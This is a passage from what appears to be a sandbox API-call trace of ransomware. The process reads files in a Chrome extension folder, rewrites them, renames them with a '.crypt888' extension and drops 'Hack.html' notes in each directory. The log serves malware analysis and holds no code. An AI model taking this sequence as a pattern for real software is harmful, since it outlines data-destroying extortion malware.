Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html", lpFilePart=0x0) returned 0x9c [0075.780] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.crypt888", lpFilePart=0x0) returned 0xa5 [0075.780] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.780] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x836884d0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368abe0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe5d6120, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x40)) returned 1 [0075.780] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.780] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\setup.html.crypt888")) returned 1 [0075.781] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\Hack.html", lpFilePart=0x0) returned 0x9b [0075.781] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eae0) returned 1 [0075.781] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cast_setup\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.781] GetFileType (hFile=0x174) returned 0x1 [0075.781] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eadc) returned 1 [0075.782] GetFileType (hFile=0x174) returned 0x1 [0075.782] WriteFile (in: hFile=0x174, lpBuffer=0x279c8e4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x279c8e4*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0075.783] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0075.783] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details", lpFilePart=0x0) returned 0x9a [0075.783] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\", lpFilePart=0x0) returned 0x9b [0075.783] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a768 [0075.784] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.784] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.784] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.784] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0075.784] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0075.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0075.785] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0075.785] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0075.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details", lpFilePart=0x0) returned 0x9a [0075.785] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\", lpFilePart=0x0) returned 0x9b [0075.785] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a768 [0075.785] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.785] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.786] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.786] FindNextFileW (in: hFindFile=0x59a768, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 0 [0075.786] FindClose (in: hFindFile=0x59a768 | out: hFindFile=0x59a768) returned 1 [0075.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebb0) returned 1 [0075.786] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ebbc) returned 1 [0075.786] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", lpFilePart=0x0) returned 0xa4 [0075.786] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.786] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.787] GetFileType (hFile=0x174) returned 0x1 [0075.787] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.787] GetFileType (hFile=0x174) returned 0x1 [0075.787] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x174c [0075.787] ReadFile (in: hFile=0x174, lpBuffer=0x27a10c0, nNumberOfBytesToRead=0x174c, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x27a10c0*, lpNumberOfBytesRead=0x39eb84*=0x174c, lpOverlapped=0x0) returned 1 [0075.812] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", lpFilePart=0x0) returned 0xa4 [0075.812] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.812] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.814] GetFileType (hFile=0x174) returned 0x1 [0075.814] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.814] GetFileType (hFile=0x174) returned 0x1 [0075.814] WriteFile (in: hFile=0x174, lpBuffer=0x27f5314*, nNumberOfBytesToWrite=0x1750, lpNumberOfBytesWritten=0x39eb74, lpOverlapped=0x0 | out: lpBuffer=0x27f5314*, lpNumberOfBytesWritten=0x39eb74*=0x1750, lpOverlapped=0x0) returned 1 [0075.815] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html", lpFilePart=0x0) returned 0xa4 [0075.815] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.crypt888", lpFilePart=0x0) returned 0xad [0075.815] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.815] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x8368fa00, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x8368fa00, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe648540, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x1750)) returned 1 [0075.815] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.816] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.html.crypt888")) returned 1 [0075.817] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js", nBufferLength=0x105, lpBuffer=0x39e5dc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js", lpFilePart=0x0) returned 0xa2 [0075.817] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ead0) returned 1 [0075.817] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.817] GetFileType (hFile=0x174) returned 0x1 [0075.817] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eacc) returned 1 [0075.818] GetFileType (hFile=0x174) returned 0x1 [0075.818] GetFileSize (in: hFile=0x174, lpFileSizeHigh=0x39ebd8 | out: lpFileSizeHigh=0x39ebd8*=0x0) returned 0x945 [0075.818] ReadFile (in: hFile=0x174, lpBuffer=0x27f7ba0, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39eb84, lpOverlapped=0x0 | out: lpBuffer=0x27f7ba0*, lpNumberOfBytesRead=0x39eb84*=0x945, lpOverlapped=0x0) returned 1 [0075.844] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js", nBufferLength=0x105, lpBuffer=0x39e5c4, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js", lpFilePart=0x0) returned 0xa2 [0075.844] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eab8) returned 1 [0075.844] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x174 [0075.845] GetFileType (hFile=0x174) returned 0x1 [0075.845] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eab4) returned 1 [0075.845] GetFileType (hFile=0x174) returned 0x1 [0075.845] WriteFile (in: hFile=0x174, lpBuffer=0x28489d8*, nNumberOfBytesToWrite=0x950, lpNumberOfBytesWritten=0x39eb48, lpOverlapped=0x0 | out: lpBuffer=0x28489d8*, lpNumberOfBytesWritten=0x39eb48*=0x950, lpOverlapped=0x0) returned 1 [0075.846] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js", lpFilePart=0x0) returned 0xa2 [0075.846] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.crypt888", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.crypt888", lpFilePart=0x0) returned 0xab [0075.846] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eb5c) returned 1 [0075.846] GetFileAttributesExW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), fInfoLevelId=0x0, lpFileInformation=0x39ebd8 | out: lpFileInformation=0x39ebd8*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x83694820, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x83694820, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0xbe66e6a0, ftLastWriteTime.dwHighDateTime=0x1d46f95, nFileSizeHigh=0x0, nFileSizeLow=0x950)) returned 1 [0075.846] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eb58) returned 1 [0075.847] MoveFileW (lpExistingFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js"), lpNewFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.crypt888" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\view.js.crypt888")) returned 1 [0075.850] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e5ec, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\Hack.html", lpFilePart=0x0) returned 0xa4 [0075.850] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39eae0) returned 1 [0075.850] CreateFileW (lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\Hack.html" (normalized: "c:\\users\\5p5nrgjn0js halpmcxz\\appdata\\local\\google\\chrome\\user data\\default\\extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\cloud_route_details\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x174 [0075.857] GetFileType (hFile=0x174) returned 0x1 [0075.857] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39eadc) returned 1 [0075.857] GetFileType (hFile=0x174) returned 0x1 [0075.857] WriteFile (in: hFile=0x174, lpBuffer=0x284b78c*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39eb5c, lpOverlapped=0x0 | out: lpBuffer=0x284b78c*, lpNumberOfBytesWritten=0x39eb5c*=0xba, lpOverlapped=0x0) returned 1 [0075.858] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0075.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales", nBufferLength=0x105, lpBuffer=0x39e6f8, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales", lpFilePart=0x0) returned 0x8f [0075.858] GetFullPathNameW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\", nBufferLength=0x105, lpBuffer=0x39e6cc, lpFilePart=0x0 | out: lpBuffer="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\", lpFilePart=0x0) returned 0x90 [0075.858] FindFirstFileW (in: lpFileName="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Default\\Extensions\\pkedcjkdefgpdelpbcmbmeomcjbeemfm\\5817.313.0.5_0\\_locales\\*", lpFindFileData=0x39e918 | out: lpFindFileData=0x39e918) returned 0x59a728 [0075.860] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.861] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.861] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.862] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.862] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.862] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.862] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.862] FindNextFileW (in: hFindFile=0x59a728, lpFindFileData=0x39e928 | out: lpFindFileData=0x39e928) returned 1 [0075.862] FindNextFileW 